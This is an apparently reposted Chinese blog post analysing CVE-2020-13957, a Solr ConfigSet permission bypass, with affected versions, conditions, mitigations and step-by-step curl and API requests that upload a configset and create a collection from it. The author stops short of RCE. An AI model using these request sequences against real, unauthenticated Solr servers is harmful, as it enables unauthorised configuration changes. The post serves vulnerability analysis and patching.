[CVE-2020-13957] Solr configset权限绕过漏洞

影响版本

  • 6.6.0 to 6.6.5
  • 7.0.0 to 7.7.3
  • 8.0.0 to 8.6.2

漏洞描述

本来Solr禁止一些可能造成RCE的危险操作通过ConfigSet这个API上传进行配置。但是可以通过结合UPLOAD/CREATE这两个ACTION来绕过这一限制。

原文

Solr prevents some features considered dangerous (which could be used for remote code execution) to be configured in a ConfigSet that’s uploaded via API without authentication/authorization. The checks in place to prevent such features can be circumvented by using a combination of UPLOAD/CREATE actions.

漏洞利用条件

  • Solr的API未设置认证
  • SolrCloud模式启动(因为Standalone模式不具备Configset API的功能)

Upload a Configset

上传功能默认开启,除非指定JVM参数:

-Dconfigset.upload.enabled=false

漏洞描述/原理:

正常的通过UPLOAD传上去的configset,是不能用于创建collection的: 如果尝试创建,会出现这个错误

The configset for this collection was uploaded without any authentication in place, and use of <lib> is not available for collections with untrusted configsets. To use this component, re-upload the configset after enabling authentication and authorization.

在这里插入图片描述
而当我们先UPLOAD,然后基于这个configset,去CREATE一个collection,就可以绕过这个限制:

达到的效果是可以自定义configset,然后基于此创建恶意collection。目前没想到如何利用好这个自定义的配置实现RCE。只知道用之前的模板注入,不过那个有版本限制吧?

步骤:

1、【UPLOAD】准备恶意配置,打包,上传

# 先将配置打包成zip
 (cd solr/server/solr/configsets/sample_techproducts_configs/conf && zip -r - *) > db-configset.zip
 
 # 再通过上传API将zip上传
 curl -X POST --header "Content-Type:application/octet-stream" --data-binary @db-configset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=db-configset"
2、【CREATE】根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制

/solr/admin/configs?action=CREATE&name=db-configset1&baseConfigSet=db-configset&configSetProp.immutable=false&wt=xml&omitHeader=true
3、【LIST】查看Configsets的配置,确保已生成了新的configset

/solr/admin/configs?action=LIST&omitHeader=true
4、根据CREATE得到的configset创建恶意collection

/solr/admin/collections?action=CREATE&numShards=1&name=coll_test1&collection.configName=db-configset1
5、利用之前的漏洞进行利用?

修复建议/缓解措施

  • 禁用UPLOAD命令,即-Dconfigset.upload.enabled=false
  • 进行认证
  • 升级到8.6.3及以上
  • 若无法升级,尝试打这个补丁:SOLR-14663
  • 设置防火墙规则进行访问控制,设置Solr API访问的白名单

参考

Note

参考:
http://mail-archives.apache.org/mod_mbox/lucene-solr-user/201807.mbox/%3CCAPCX2-+jojXrWvPSPiBR_xwphdpk+yPM2HYLojX2rqRTKMGm9g@mail.gmail.com%3E

Solr可以运行在两种模式:“Cloud” mode or “Standalone” mode。

SolrCloud mode下,可以创建collections,而在Standalone mode下,只能创建core。

在Standalone mode下会出现400,
在这里插入图片描述
关闭,重新启动SolrCloud mode:
这次成功了:
在这里插入图片描述

扫描二维码关注公众号,回复: 11883947 查看本文章

附录

上传Configsets

# 先将配置打包成zip
 (cd solr/server/solr/configsets/sample_techproducts_configs/conf && zip -r - *) > myconfigset.zip
 
 # 再通过上传API将zip上传
 curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

创建Configsets

基于之前上传的Configsets创建一个新的configset

  • name:这个新的的configset的名字
  • baseConfigSet:基于哪个上传的Configsets
  • configSetProp.immutable:将这个设置为false
http://cqq.com:8983/solr/admin/configs?action=CREATE&name=myConfigSet1&baseConfigSet=myConfigSet&configSetProp.immutable=false&wt=xml&omitHeader=true

查看Configsets:

http://cqq.com:8983/solr/admin/configs?action=LIST&omitHeader=true

在这里插入图片描述

上传、以及配置后的Configsets并不在文件系统中,而是在Zookeeper中。

The Configsets API enables you to upload new configsets to ZooKeeper, create, and delete configsets when Solr is running SolrCloud mode.

This API provides a way to upload configuration files to ZooKeeper and share the same set of configuration files between two or more collections.

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/109046187